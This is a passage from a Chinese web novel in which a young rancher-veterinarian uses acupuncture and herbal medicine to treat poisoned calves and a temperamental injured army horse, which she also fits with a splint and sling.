她有了些自信，还是小心谨慎地给小牛犊的尾根穴、血印穴、足三里、脾俞、肾俞等处施针。 这些穴位能起到通络解毒、清热泻火、调解肠胃功能、健脾、增强肝肾代谢等作用。 扎完后要留针20分钟左右，见小牛犊本身就身体无力地趴在地上，也没有动的样子，姚新泉便先去处理一旁另一头情况没有那么严重的小牛。 小马干部看着小牛犊身上那颤巍巍的针忍不住咽了咽唾沫，这，这看着还挺渗人的啊！ 那么长的针，留在外面的就这么一截，在里面的得有多长啊！ 过了十分钟左右姚新泉回来看小牛犊，发现它还没排尿，想了想又在它荐椎旁约3厘米处的膀胱俞下针促进小牛排尿。 两分钟后见小牛尿了她这才露出个笑来，“小马同志，你帮着弄点水来吧！” 小马赶紧点头出门，她有点晕针，实在是不敢看了，比起看 针她更愿意去运水。 说起这事儿就生气，这边并不是只有这一条河的，只是相对来说这条河在他们村子边上，不管是人取水还是牛羊饮水都方便。 另一边的河只是一条小支流，而且离这边步行要将近40分钟，骑马的话15分钟左右就到了。 小马拍了拍自己的坐骑，“我给你套个车，你别反抗啊！”等套好马车后她载了一车的空桶去了远处的小河。 这几户人家就算没马也有牛，他们就是懒得！ 当初包产到户之后也把牲畜给大家分了，同样领到牛的人家，别人家都七八头了，就他们几家，一家撑死三头，每年卖掉一头，除了卖牛的收入之外，家里四五个人竟然没有任何收入，平均下来，每人一年的毛收入也就两三百块。 让他们种地嫌累说不会，让他们好好放牧也不愿意，手头有点儿钱就知道喝大酒，整天喝的醉醺醺的就知道打媳妇儿。 让把孩子送去上学，她们村干部不知道来做了多少次工作了，但孩子三年级之后还是辍学了。都这样了，还一直生！一直生！ 计划生育国策下来之后，这边因为是农村，又是少民，所以一家是可以生三个的，但是不少人家也是觉得孩子太多了养不起，两个就够了。 他们几个家里不一样，如果不是计生办的拉着他们媳妇去上环，还得没完没了地生。让交罚款那就是没有。 就这样，家里的所有事情还都是女的干，这几家的男的除了偶尔放放牛，就知道喝大酒睡大觉，小马想到他们就心烦！这世上怎么有这种人啊！ 但这又是她包干的片区，她还不能不管，真是头痛啊！ 不知道小马那边的状况，姚新泉这边又遇到了个麻烦，小牛开始抽搐了。 听到那边的动静姚新泉吓了一跳赶忙看了过去，就见小牛犊突然开始痉挛抽搐，她赶紧跑过去一摸就知道不行，体温又上升了。 她赶忙掏出针想要施针，可是小牛犊现在控制不了自己，姚新泉一个人根本按不住，“艾力大夫，艾力大夫你过来帮我一下！” 艾力听到声音后眯着眼睛看了过去，隔着这么远都能看到小牛犊抽搐的模样，艾力低声骂了两句赶忙跑了过来。 姚新泉让他按住，“我要给小牛扎百会穴，对减缓痉挛有用，但它这么动我不敢下针！” 百会穴可是在腰椎上的，一个弄不好万一扎瘫痪了可就麻烦了啊！ 艾力欲言又止，他想说你不是挂职兽医，没必要承担这么大的风险，万一真扎瘫了，按那几家的尿性那是肯定会要求她赔钱的！ 可是看到姚新泉坚毅的眉眼他又忍住了，他低声叹了口气，“要是出了什么事，你就说是我下的针，别给自己惹麻烦”，他这么多年不是白干的，大的能耐没有，但是也不是这些狗日的能随便欺负的，不怕这些。 姚新泉像是笑了一下，就听她道，“这功劳可不能让您抢了！” 艾力知道她在开玩笑，没好气地瞪了她一眼，按她的吩咐按住了小牛犊。 姚新泉捏着针缓缓刺入百会穴，也就是小牛犊腰椎结合处的凹陷，轻轻捻转，感受到那股奇妙的手感，穴位没错。 想了想又另取了一根针在小牛犊的大椎穴处放血，给小牛犊缓解了下发热情况。 她揉了揉小牛犊的耳朵，沉沉叹了口气，“快好起来吧小家伙！” 第88章 师月江从专家那边回来之后没见到姚新泉,找了一圈在桌子上看到了姚新泉留下来的字条，“这么严重吗？”他低声自语，可也知道自己确实帮不上什么忙,只能先把饭给做好。 莱尼窝在师月江旁边,整只豹都懒洋洋的,师月江挠了挠她的下巴,把姚新泉之前闲来无事给她烘干的兔头翻了出来。 “莱尼,你不打算自己出去捕捉猎物吗？你看小金都是自己出去打猎的”,他有些无奈地看着懒闺女，真说起来他也不知道莱尼为什么会这样，明明是一只野生猎豹，也不是受了太严重的伤经过长时间救治之后不再适应野外的环境,正常来讲完全可以野化的！ 可她的野化各项数据就是特别差,基本上放生就是等死的那种。 师月江愿意养她,也没逼着她一定要保留野性或者学会什么技能，只要她开心的活着就成，可是当他每次见到小金抓了兔子或者别的小动物回来的时候心情就很复杂。 怎么小金没有父母教她捕猎,人家就能学会,莱尼凭什么就不行？ 可这孩子还真就不行…… 师月江眼神很是复杂地看着莱尼，“等回头我们有空了带你去草原上捕兔子！” 这片草原上最多的小动物就是兔子了,虽然还不至于泛滥,但是只要想抓那肯定能抓得到的。 莱尼懒洋洋地看了他一眼,随后头也不回地出去了,师月江跟了上去，就见孩子出了院子，趴在了他们之前割回来的晒干的一垛麦草上，头趴在草上嘴巴吧唧吧唧地嚼兔头…… 师月江沉默了,算了，之后再说吧，孩子开心最重要。 想到姚新泉今天也没怎么好好吃饭，估计在那边也顾不上，师月江就炒了两个快手菜，又蒸了个鸡蛋，打包好便下山了。 路上买了两个馕又去一家清蒸饭店买了一个大份的抓饭以及几瓶水去了姚新泉纸条上写的地址。 他往天上看了一眼，隐约能看到小金的影子，出门的时候小家伙就跟着他了，对于小金的去留她跟姚新泉不会管也没办法管，人孩子自己长着翅膀想去哪里去不成？ 师月江到的时候就看到姚新泉蹲在一头牛身前，地上是一大滩呕吐物。 师月江皱了皱眉，四下找了把铁锨后先把那堆呕吐物铲出去埋起来后这才把自己带的东西拿了出来。 “新泉的饭是家里做得，艾力大夫你这份是我在外面买的，先吃了饭再忙吧！” 艾力把手套脱了洗了个手随便找了个地方坐下接过师月江递过来的饭这才松了口气，“我还真饿了！” 他吃了一大口饭，嘴里含糊不清的，“那几个王八蛋真是害人不浅，咱们跟老黄牛一样在这熬一天，小马他们那些干部就还得挨批评！” 也真是倒霉，要说人村干部什么都没干那是他们活该，可人家该做的都做了，总不能人家什么都不干了，就成天守在那几人家里盯着他们不准用河里的水吧？ 姚新泉还没怎么接触过这些事情，她们村里的人都是能干的，不管是种地还是养殖那都是看老天爷吃饭，所以未必能赚到钱，但人家那是真肯干，“总不能真给个什么处分吧？” 艾力耸了耸肩，“谁知道呢？反正咱们就尽力减少损失吧，其他事情也不是咱能管的！”吃多少饭就端多大的碗，他们就是小老百姓，不可能什么事情都管的。 姚新泉点了点头，她倒也没想别的，只是觉得如果真给了什么处分，那小马干部他们就太无辜了。 姚新泉舀了一勺子鸡蛋羹，刚想吃就感受到右边肩膀上的压力，压得她差点倒下去，还是师月江拉了她一把她才没摔倒，一勺鸡蛋羹就洒在腿上了。 姚新泉黑了脸，“小金”，不用看都知道是谁！ 小金赶忙从姚新泉肩膀上跳了下来，她小心翼翼地凑了过来叽了一声，看着可怜又可爱。 如今的她从外表上看已经是一只完全体的猛禽的，羽毛上的金色让她显得特别的神骏。 “呦，这金雕真成你家养的了？” “你可别瞎说”，姚新泉赶紧反驳，可不敢家养啊，“她就是觉得我牧场上环境好。” 艾力哼笑两声，随便吧，她开心就好！也就是这两年，早两年养就养了能咋样？ “你牧场上有这小家伙，都不担心有猛禽抓你的鸡鸭鹅了！”牛羊马倒还好，哪怕是小崽子都有那么大，不至于什么猛禽都能叼走，但是鸡苗那些，是只鹰基本上都能顺走两只…… 姚新泉摸了摸小金额头上的一小撮金色的羽毛，也不知道别的金雕有没有，姚新泉很喜欢她这块儿的羽毛，常摸。 见她动手小金就知道她不生气，又凑近了两步最后挪着挪着就去了姚新泉腿上。 姚新泉懒得理她继续跟艾力商量这些小牛的事情，“别的都还好，就那头小牛犊目前状况还不好说，还得重点关注。” 艾力点头，心里也不禁感叹，姚新泉 真是学的太快了！ 从前她只是会一些皮毛，如今这才多久啊，什么针灸中药的啥都会了，“你天生就是吃这碗饭的！” 姚新泉笑了笑没说话，她可能确实有天赋，但是更多的还是系统真的是一个很好的老师。 除了基础的书本知识之外，系统还会给她出各种各样的习题以及总结各类疾病、各种牲畜身上可能遇到的病症的症状、病程、治疗方式等等。 先说她学过的古代医书，像《司牧安骥集》、《蕃牧篡验方》、《齐民要术》、《农桑辑要》、《农政全书》包括《本草纲目》等等她都学了。她本身记忆就很好，不知道为什么在背跟理解这些书的时候更是信手拈来，她怀疑是系统的问题，但是系统不承认。反正最后的结果就是学得很快。 另外系统除了教给她书面的知识以外，就拿把脉来说，她确实没怎么在现实中实践过，但是系统中有一个模拟脉相的课程，那个课程会提供给她不同牲畜不同病症下的虚拟脉相，她可以逐一去尝试并且记住那种感觉，顺便培养手感。 另外系统还会给她播放据说是国医大师的把脉示范，当然了，她并不知道那个大师是谁，但是看起来确实很不一般。 在观看视频的过程中，大师会提醒她注意自己的手指布指，注意他“举、按、寻”的力度。 系统还给她总结举例了各种脉相的触感类比，比方说滑脉就很像小玻璃珠滚过指尖的流畅感，而涩脉则更像是砂纸摩擦的阻滞感。 还有不少别的课程都很有用，可以让她在短时间内学到很多知识，至于学会和会用又是两码事，不过这个就得靠她自己了。 不提别的，仅这个课程就足够姚新泉对系统充满感激了，这种课程也许未来的现实生活中有，但是姚新泉敢肯定，这绝对不是1992年的大学生或者研究生能在学校中接受到的教育方式。 艾力不知道她在想什么，倒是师月江若有所思，两人每天一起生活，她的许多事情搞不好师月江比她自己知道的更多，不过这不影响什么。 “家里牲畜都喂过了，泉水那边我去看了，已经挖了挺长的一段，再来两三天咱们短期用应该是够了的”，这肯定不可能长期使用的，水太小了。 “我明天想去跟着他们一起看看怎么治理河流，你看成吗？”还是那句话，河流流经他们牧场的这一段，没有人会比他们两个更上心，指望别人不如指望自己。 “我让我哥加急给我寄了好多关于污水处理以及之后恢复生态的相关书籍，他还找了不少论文一起寄过来，刚好我能学学。” 艾力在一旁听到后点了点头，这小伙子不错，眼里有活。 两人吃完饭后师月江先回去，艾力两人忙到天快黑了，姚新泉打了个呵欠，满脸倦色，“晚上应该不至于反复，治疗效果的话明天我再来看看。” 艾力不好意思地把人送出去，“我跟村里说好了，晚上就在那几个懒汉家里睡一晚上，你明天也别急着过来，歇好了再说。” 他来是有工资的，姚新泉来帮忙的话后面怎么说还不确定，他也做不了主，就很烦。 姚新泉点了点头，“明天再看吧，要是没什么事情我就早点过来，要是有事的话我就打那个电话跟你说一声”，怕艾力误会自己是想撂挑子她又解释，“别人今天给我打电话说要送一匹马过来，正常明天早晨就到了，我先看看那边再说。” 听到她说又要治马，艾力那是又担心又激动的，他可想参与进去了，但是条件不允许啊！ 这边差不多了，但是还有别的呢！ 不是他瞧不上那些人的技术，但是真比起来，他的技术在整个县里都是数一数二的，在这次的事情影响彻底淡下去之前，他肯定是顾不上干别的。 “没事儿，我还跟之前一样做好记录，到时候给你一份。” 第89章 凌晨两点多,姚新泉睡得正香就听到外面狗狗军团的叫声，其中娜娜的声音最凶狠。 娜娜虽然性格内向，但是这孩子很敬业,再加上她本身体型就是狗狗中最大的,叫声也相比较起来最威严跟凶狠,至少对外人还是很有威慑力的。 姚新泉睡得迷迷糊糊起身套了件外套后便打算去看看怎么回事,出了卧室远远就看见师月江过去了。她倚靠在门框上打了个呵欠便没动。 那边师月江不知道说了什么给人开了门,一辆车开了进来,姚新泉清醒了一些，向外走去。 “杜若林？” 杜若林从副驾出来朝她点了点头，脸上很是不好意思，“打扰你们休息了”,他的目光在师月江身上顿了顿,上次来还没见到他,这人虽然看着还有些瘦弱，但是杜若林能感觉的出来他以前应该也是名军人，就是不知道是什么身份。 姚新泉摇了摇头,往车厢走去,杜若林见状也不寒暄了，跟着她往那边走,嘴里则是介绍着,“这匹马叫炽焰,是我们队里唯一一匹焉耆马,公马，今年5岁了。” 杜若林他们是开了一辆军卡过来的，她凑过去看了看眉头便皱了起来，“你们打麻药了？” 杜若林苦笑着点头,又加了一句，“路上还补了一针。” “是他太疼了还是太抗拒了？”姚新泉也开始头疼了，平安性格温驯，而且特别配合，所以治疗的过程是愉快的，但如果小马本身特别抗拒，那肯定是要增添不少麻烦的。 杜若林叹了口气，“你知道它为什么叫炽焰吗？” 姚新泉是没想到他现在还有心思跟自己猜谜，没好气地撇了撇嘴，“速度快？” 杜若林摇头，“是因为她的脾气像烈焰一样。” 姚新泉叹气，“你就跟我说它做了什么吧？” 杜若林有些抱歉地看向她，“它咬了我们队里的兽医。” 师月江眉头皱了起来，将姚新泉往身后挡了一下，看得杜若林很是无语。大哥，这马都打麻药了，你没必要吧？ 姚新泉也有些好笑，她拍了拍师月江的胳膊示意他放心，倒不是说敢肯定自己一定不会被小马排斥，金手指毕竟不是万能的。但是自己对小马没有任何恶意，小马是能够感受到的，这就足够了。 “先把它抬下来吧，咱们四个抬得动吗？” 姚新泉叹了口气，“先试试吧”，目测小家伙至少350公斤往上，也算是中等体型，不过比平安要重，倒不是因为别的，主要是它已经是成年体型了，平安还是个青少年呢。 他们当时把小马搬上车的时候用的就是担架，现在担架还在小马身下呢！ 杜若林跟师月江两人爬上车，把担架往外拽，拽到 在车下能够着的时候两人下车，一人一边抗在肩上，姚新泉跟司机两人继续在车厢上推担架，等里面的两个把手也到了车厢边缘的时候两人跳下车，扛起了担架后，四人咬牙往提前打扫好的马棚走去。 艰难地到了后姚新泉没忍住龇牙咧嘴地揉着肩膀，老天爷，真是太疼了！ 杜若林很是抱歉地看着她，刚想说什么姚新泉就摆了摆手，“行了说重点，它伤在哪里了，做过什么处理？用过什么药？” 杜若林正色起来，从口袋中将兽医提前做好的记录递给她，姚新泉大概翻看了一下，眉头就皱了起来。 小马肚子上的伤并不轻啊！ 开放性伤口，缝了12针，万幸没伤到内脏。她之前仔细考虑过还是得让马站着，也能避免它因为长期卧倒而导致的血液循环不畅以及肌肉萎缩等问题。 但是就算不考虑腿伤，站着也有问题，疼啊！ 这伤口确实不算小了，剧烈疼痛之下人家未必愿意站着的！ 见姚新泉叹气，杜若林的心也提了起来，烈焰之所以能被第一个带出来治疗就是因为这小家伙是有功勋在身的，就算不提别的，仅仅因为它曾经立过的功，杜若林就没办法眼睁睁看着它死去。 “怎么样，能治疗吗？” 姚新泉没立马回答，她掏出自己提前做好的计划又修改了起来，过了一会儿才道，“我可以试试，但具体结果我没办法打包票。” 杜若林虽然没听到想听的答案，但是这已经很好了，还能怎么样呢？ 至少她还敢试试不是吗？ 之前的兽医给它打过破伤风针，伤口缝合也没有问题，没有因为长距离的颠簸以及搬动造成伤口恶化。 检查了下烈焰的状态后姚新泉给它颈静脉处做了消毒，然后用格林氏液加5%浓度的葡萄糖进行输液。 在烈焰还没醒的过程中，姚新泉拿出了自己提前准备好的材料，“月江你帮我记录一下，我测量一下尺寸。” 不知道烈焰后面对自己会是什么态度，所以姚新泉只能加紧速度了。 她测量了伤腿的大腿周长、小腿长度、从坐骨结节到蹄尖的距离等等，然后根据师月江记下来的数据将自己提前准备好的铝合金管找出来，确定需要的长度。 她小心将铝合金管弯成U型，顶部的宽度略宽，避免摩擦马体。底部的话封闭成环形，用于承托马蹄。 弯曲好后她把铝合金管递给杜若林，又给了他几张砂纸，“你打磨一下，边缘那些地方都磨圆了，不然容易扎到。” 她又把自己提前准备的棉花、纱布之类的都翻找了出来，还把之前买的剪剩下的海绵也拿了出来放到一边，又把之前用在皮皮身上的吊马兜找了出来。 吊马兜跟托马斯夹板倒也没有说是哪个更好，相对来说托马斯夹板更注重对骨折和关节损伤部位的直接固定和支撑，吊马兜的话更多的是用来减轻腿部的负重，从而辅助恢复。 之前她在平安身上也考虑用过，但是当时手边没材料，而且又有石膏，所以选择了用石膏来固定。 但是现在她提前做了准备，材料是不缺了，所以有了更多的选择性。 不过具体是用石膏还是用夹板也得看情况来，托马斯夹板有好处，固定效果更好，透气性也更好，还更容易调整、观察伤口，当然了对专业性要求也就更高，而石膏的话用法简单而且便宜。 姚新泉这次选择用夹板其实最大的原因是天热了。 没办法啊，牧场进入五月之后，一天温度最高的时候有三十度，当然了在屋里的时候体表温度没有这么高，可如果打着石膏的话就不一样了。 这个温度下长时间使用石膏，透气性差，腿上的皮肤长期处于潮湿的状态会容易引发炎症的。 而且石膏的存在本身也会加重马腿的负担。 炽焰身上本就有别的伤，若是因为治疗腿伤再产生其他问题，那就更是雪上加霜了。 所以在这个情况下，姚新泉最终还是选择了不太熟练，但是更适合目前情形的托马斯夹板跟吊马兜一起使用。 杜若林那边打磨好了之后，姚新泉接过铝合金管，做了消毒后将棉花、纱布、海绵垫一层一层地贴在了铝合金管接触腿的那一面，确定填充物不会活动后才算好。 另一边炽焰终于醒了，感受到自己正处在一个陌生的环境，炽焰一下就挣扎开来，姚新泉几人差点被踢到，还是师月江眼疾手快将她拉了起来。 姚新泉拍了拍胸口，脸上还残留着后怕，“劲儿可真大啊！”烈焰那条腿踢她一下，肯定得骨折！ 杜若林苦笑，想靠近却不敢。 姚新泉平复了下呼吸后将口袋里提前准备好的糖拿了出来小心绕到炽焰面前，确定进入它的视线范围内后便站定不动，跟它还保持着两米左右的距离，确保炽焰能看到她，但攻击不到她。 姚新泉放缓了声音，调整自己的表情，让她看起来更无害，她缓缓伸出手，手心里是五颗糖果。 她的视线偶尔与炽焰相交却不长时间直视对方，避免让炽焰感受到威胁，“炽焰你好，我叫姚新泉，是一名兽医，你受伤了，你的腿还有你肚子上的伤口都需要治疗，刚才我们就是在准备给你伤腿上用的工具。” 姚新泉接过了师月江递过来的半成品夹板跟它展示，“你看，这个最后就是要绑在你腿上帮你站立，帮你恢复的。你很疼对吗？咱们治好了就不疼了！” 司机见到这一幕的表情很是一言难尽，这对吗？ 这是正经兽医吗？还跟马做自我介绍？ 刚想说什么就被杜若林瞪了一眼，他只能闭嘴，但满心都是不信任。 炽焰的大名在他们队里都是出了名的，除了陪它长大的战士，就连饲养员，在它不高兴的时候人家都会偷摸尥蹶子的！ 至于那名战士为什么没有陪同？ 司机叹了口气，要不是他也住院，刚刚脱离了危险还没醒过来，他肯定是要跟过来的啊！ 司机都不敢想，当小战士醒来后发现自己养大的小马伤重不治或者直接被安乐死了他得有多崩溃！ 这是战友更是家人啊！ 想到这里司机心里就难受，眼眶都红了。 这人到底靠不靠谱啊！ 司机很怀疑。 第90章 在司机震惊的目光中姚新泉慢慢将手靠近小马,小马因为麻醉还未完全缓过来，虽然刚才爆发了一下，但是整体还是无力的。也不知道是对姚新泉没有敌意还是确实动不了,反正小马没动,任由姚新泉缓缓靠近。 姚新泉尽力释放自己的善意,说实话她也不知道这个金手指的效果到底有多大,毕竟之前遇到的小动物们算下来其实危险最大的是带崽母狼,但问题是人家是来求助的…… 如果不是狗狗军团们戒备心太强把人家给轰了出去,双方其实一点矛盾都没有的。 至于顶级肉食动物猎豹莱尼，这家伙现在连只兔子都未必抓得到…… 所以姚新泉确实不太清楚这个金手指是能让戒备心强的小动物感受到她的善意而放弃攻击还是直接一步跨越到跟她贴贴呢？ 她缓缓伸出手去，当她的手放到小马面前的时候，炽焰冷漠地看了她一眼,就在司机以为下一秒它就得给人来一口时,就见炽焰一伸舌头将五颗糖全部吞进了嘴里。 司机…… 也行吧,挺好的。 见炽焰至少是不排斥的，姚新泉心里稍微放心了一些。 她试探性地把手挪开放在了炽焰头上，见它没反抗,姚新泉脸上多了两分笑意。 “你刚把吊瓶的针头碰歪了,我得给你重新扎一下”，说着她便直接靠近炽焰,将已经歪了的针头拔了出来,关小水流后重新扎针,一针见血,又贴了块儿胶带后这才从它身边离开。 因为炽焰暂时还站不起来，所以姚新泉只能等它缓过来之后再用托马斯夹板。 她去了客厅，把药抓了过来后杜若林挑了挑眉，“你这怎么什么都有？”中药也有？ 姚新泉得意一笑,“我专门下山买的，不说什么都有，但是常见的、我 有可能用得上的倒是都备了一些”，山上下去一趟太麻烦了，艾力那边是没有中药的，每次去药店抓药也麻烦，能备的都提前备上了。 “杜若林，你去熬一下桃红四物汤，盯着别糊锅了”，说完又看向司机，“你帮我磨一下金黄散的药粉，到时候我再用蜂蜜调一下给它敷在肚子那个伤口处”。 这家伙性子确实烈，就那么一下，肚子上的伤口隐隐就有流血的趋势，也怨不得人家送它过来路上还得补一针麻药。 要是不补的话，这孩子是不是还要当场跳车啊…… 姚新泉又拿出了自己的针，司机眼皮子一跳，他指着姚新泉示意杜若林看，“她，她”。 杜若林对这个一惊一乍的战友都无奈了，“中医能医人，自然也能医马，你别大惊小怪的。” 司机不敢置信地看向杜若林，“你见过？” 杜若林冷笑一声，开玩笑，当然没有。 两人没再说话，手中的活儿没停，但是目光都落在姚新泉身上，看得师月江忍俊不禁。 他帮着给针做了消毒后，姚新泉捏着针又靠近炽焰，“我现在要给你施针，还要放血，都是对你的腿伤有好处的，你也不想以后都站不起来对吗？” 她蹲下身子将手中的针给炽焰看，倒也没想得到它的什么反应，见炽焰移开了目光，她眼中也闪过一丝笑意。 怎么说呢，炽焰现在在她心里就是那种戒备心特别强的患者，那些人未必真懂医疗知识，但是他们会对医生的每一个动作，每一种用药表示好奇甚至提出异议。 炽焰虽然不会说话，也未必能百分之百理解她的意思，但是至少她把自己坦坦荡荡的态度告诉了对方。 她捏起针缓缓刺入炽焰的百会穴。 体会着针下传来的感受，姚新泉不禁感慨，还是得实操才成啊！ 昨天给小牛治疗了之后她明显对于针灸的掌握更充分了！ “在百会穴施针可以提起炽焰身上的阳气，还能疏通背部以及后肢的经络气血。” 她又拿起一根师月江递过来的针缓缓刺入肾俞穴，“肾俞穴可以强健腰部筋骨。” 最后一根针刺入了环跳穴，“环跳穴可以疏通下肢的经络气血，改善下肢的血液循环以及肌肉紧张。” 她就是说给杜若林二人听的，毕竟炽焰跟自己之前治疗的牲畜不一样，之前的小动物要么是自己养的，要么是无主的，至于昨天的小牛则是主人不在，谁也不会说什么。 杜若林二人虽算不上主人，但也算是家属了吧，她有必要告诉对方自己这么做的意义。 杜若林若有所思地点头，“所以你这三个穴位都是对炽焰的下肢恢复有好处是吗？” 姚新泉点了点头，又拿出了根不太一样的针，轻轻刺入炽焰的膝脉穴，大概估算了一下流出的血量后姚新泉才按压止血。 一百毫升左右。 “放血也是有科学依据的，是能够疏通筋脉消肿止痛的。” 杜若林赶忙点头，讲实话，到底有没有效果不好说，但是看起来是真的专业啊！ 姚新泉自然不知道他在想什么，药粉碾碎之后姚新泉把大黄、黄柏等研磨过的药粉再次过筛，然后按照一定的比例用蜂蜜调出一份膏药来，剩下的药粉她用自己提前准备的密封袋分类装好，这才揭开炽焰身上的纱布。 看着有些红肿的伤口姚新泉无奈地摸了摸炽焰的头，这孩子脾气太急了，麻药还没缓过来，随便一动便把伤口弄得红肿都快出血了，要是等它缓过来了，还比较抗拒的话，那怕不是真要咬人的啊！ 她拿生理盐水清洁了一下患处，又擦干净后用木片挖了药膏缓缓涂抹在了炽焰伤口上。 凉丝丝的药膏一上身炽焰就想动了，姚新泉拍了拍炽焰的屁股，低声斥道，“不许动！” 杜若林的眼皮子也开始跟着跳了，老天爷，别说拍屁股了，炽焰那个脾气，它要是生气的时候，它路过你身边都得给你一脚啊！ 他正想上前就见炽焰盯着他，哪怕他歪倒在地上，只有头能缓缓移动，可这家伙那敌视的眼神杜若林是看出来了。 行吧，还记仇，杜若林无奈退开。但他心里不免不平衡，我就给你扎了针镇定剂你就这样，你倒回头看看你身上那亮闪闪的针啊！ 就见姚新泉将炽焰的伤口全用药膏敷上后又给它贴了层纱布，用胶带粘好这才松了口气。 “行了，那现在就试着给它扶起来，我先用吊马兜给它辅助站立，然后再把托马斯夹板给它用上”，姚新泉又跟炽焰解释了一番见它没什么特别的表情，等几人分散到炽焰的四周时，姚新泉明显感受到炽焰的情绪多了几分烦躁。 她摸了摸炽焰的耳朵以作安抚，然后退到炽焰身边，一手扶着它的脖子，一手托着它的腹部，剩下几人也都找位置轻推炽焰的背部，它本身自己也想站起来，众人用力一抽，炽焰借力便站了起来。 姚新泉赶忙将准备好的海绵垫以及粗布穿过炽焰的腹部，然后看准大概的位置掏了个大洞，将它腹部的伤口露出来后，师月江和杜若林两人一人一边帮她拉着布，姚新泉爬到梯子上将布绑在了房梁上。 调整好位置，确保不会碰到炽焰的伤口后，这才算是初步完成了。 众人纷纷松了口气，相视一笑，明明只是做了些辅助其站立的工作，但却像是做了什么了不起的事情一样。 姚新泉轻轻尝试推动伤腿，见炽焰并没有特别排斥，想来之前药物以及麻醉的效果还没彻底过去，疼痛感倒还好。 她小心抬动炽焰的伤腿，先给它伤腿上敷了一层提前调好的活血消肿的药膏，然后将夹板环从马蹄开始套入，一直往上推到腹股沟，支架沿肢体后侧向外延伸，期间师月江一直注意对齐骨折断掉的地方。 姚新泉调整了一下填充物，确保不会让夹板跟皮肤直接接触。 最后再用绷带从远端向近端螺旋缠绕，在关节处加固，同时还要确保用力均匀，不会影响血液循环。 姚新泉拍了拍手站起身来，缓缓吐出一口气，“行了，暂时算是做完了，之后两个小时检查一次炽焰马蹄的温度，后期我再注意着些调整夹板，防止褥疮或者皮肤溃烂。至于用药的话，我自己斟酌着来就行了。” 杜若林有些激动地问，“那是不是治愈的可能性很大？” 姚新泉摇头，“我没办法给你保证，我只能说尽力”，不过话音一转又道，“但是炽焰很配合我，这样的话我们的治疗过程也能顺利一些。” 杜若林也没什么失望的，至少她现在做得已经比队里兽医做得要多多了，他没什么好挑理的。 姚新泉打了个哈欠，师月江看了下手表，“三点多了，赶紧回去睡吧，明天是不是还有事儿？” 姚新泉点了点头，又打了个呵欠，精神萎靡起来，“你那房间柜子里有好几床被褥，仓库里有个弹簧床，你带他们收拾出来吧，能睡一个人，沙发上再凑合一个吧！” 师月江点头，满眼都是心疼，“你别操心了，我都知道东西在哪，我自己去找就成，你赶紧休息吧！” 姚新泉摇了摇头，打着哈欠含糊不清道，“你们先去，我给它配点饲料，一会儿就成。” 师月江无奈地摇了摇头，带着两人往客厅走。 今天就把他们安置在客厅吧，自己也不是很想跟人一起睡。 90-100 第91章 姚新泉定了七点的闹钟,比平时稍微早了一些，再加上昨天晚上起来了一趟，此时精神不是很好。 她在刷牙的时候就看到师月江跟杜若林还有司机小刘三人一起出去锻炼刚回来,她含糊不清地朝几人点了点头,师月江停了下来,“锅里熬了粥,过会儿我再摊几个蛋饼,就咸菜吃,你别弄饭了。” 姚新泉点了点头，就算不提感情方面的因素，跟师月江住在一起是真的非常舒心啊！ 首先很重要的一点，师月江爱干净,比她要爱干净得多！ 姚新泉自问自己不是很邋遢的人,但是也难免忙起来的时候换下来的衣服堆在那一周洗一次,吃过的碗堆在池子里，等下一顿要用的时候再洗。 但是师月江就不一样了，从他第二次来牧场开始,家里的饭除非是他忙得顾不上,不然全是师月江做，卫生是他打扫,牧场上的活儿他也在跟着干,从不见抱怨,也不见疲惫。 从他来了之后,姚新泉从繁琐的家务劳动中解放了出来，这也是她能够有更多时间去上课去学习的原因，真的给了她很大的助力！ 洗漱完后她先去了炽焰那边检查它的伤情并做记录。 看到她拿出了温度计炽焰的眼神立马就变了，感受到它的抗拒,姚新泉赶紧解释，“不是我要为难你，主要是测肛温更准确也更方便，你稍微忍一忍好不好？” 见炽焰还垮着一张马脸，姚新泉无奈扯了扯嘴角，她把自己带的筐子打开，拿出了一根新鲜的胡萝卜以及一小碗花生酱。 “听杜若林说你最喜欢吃花生酱，我给你用胡萝卜蘸着吃好不好？你乖乖别动？” 她听说炽焰喜欢吃花生酱的时候人都傻了，倒也不是说不能吃，只是到底是谁第一个尝试给马喂食花生酱的啊？ 炽焰的眼睛都亮了，见它这幅模样姚新泉还有什么不懂的？ 她把胡萝卜掰成三节，然后挖上一大口花生酱递给炽焰，炽焰迫不及待地吃进嘴里，吧唧吧唧香的姚新泉都想吃一口尝尝了！ “你也是会吃啊！”姚新泉感慨了两句又把剩下两节喂给它，杜若林过来的时候见到这一幕也没忍住笑了，“炽焰最喜欢吃花生酱，但是我们也不敢多喂，怕被噎住。” 姚新泉勾了勾嘴角，有些好奇问道，“你们到底是怎么发现它喜欢吃花生酱的？总不能是一个一个尝试的吧？” 杜若林苦笑，“哪能啊！它自己摸到我们后勤去的，它吃了小半筐苹果，踩碎了两板鸡蛋，逃跑过程中撞倒了盖子没盖严实掉到地上的花生酱，然后又吃了小半罐。” 姚新泉没忍住笑了起来，她摸了摸炽焰的鬃毛，真是个大馋丫头啊！ 顺利测了肛温后姚新泉眉头皱了起来，“稍微有点低烧。” 39.2摄氏度，杜若林赶忙问，“严重吗？” 姚新泉摇了摇头，“不好说，正常马的肛温大概在37.5摄氏度到38.5摄氏度，这个温度绝对是发烧了，只是不知道它这是术后应激还是感染，目前温度不太高，我先给它喂中药，如果吃了之后还持续发热，或者到了40摄氏度以上，到时候再给它上抗生素或者灌肠。” 系统提供的课程里面花了很大篇幅去告诫从业者不能滥用抗生素，就算不提治疗成本，也不提后续所谓的超级细菌等等，仅仅是抗生素会无差别攻击患者体内的正常菌群，不到不得已的情况，姚新泉就不是很想用。 比方说针对炽焰目前的情况来看，它肠道里的乳酸菌能增强肠道屏障功能，调节免疫反应还能减轻炎症，促进吸收。 腹部被兜住本身就会影响到炽焰的正常消化，若是体内菌群在出现问题，那更是不好了。 还有不少起到各种作用的菌群，所以还是能不用就不用吧！ 主要也是它目前还没到中高热的情况，也没严重感染，所以可以缓一些。 “继续用桃红四物汤加减，我再添几味补气解毒的药，再给它施针，烧应该能退下去。” 姚新泉给针消毒后在炽焰的大椎穴、曲池穴以及血海穴、三阴交施针，留针二十分钟取出。 中途姚新泉去吃了个饭，师月江用鸡蛋、葫芦瓜擦丝跟面粉一起摊了小饼，姚新泉一下吃了四个。 吃完后姚新泉又去看了炽焰，趁着炽焰没反应过来给对方测了个肛温，“39摄氏度，在降温了。” 杜若林松了口气，看着姚新泉的目光中更多出了几分重视来。 “我先留500块钱，炽焰的药还有饲料你看着给它安排，你的诊疗费也先从里面扣，不够了你跟我说”，杜若林有些不好意思，“我们得回去了，没办法在这一直待着，得麻烦你了。” 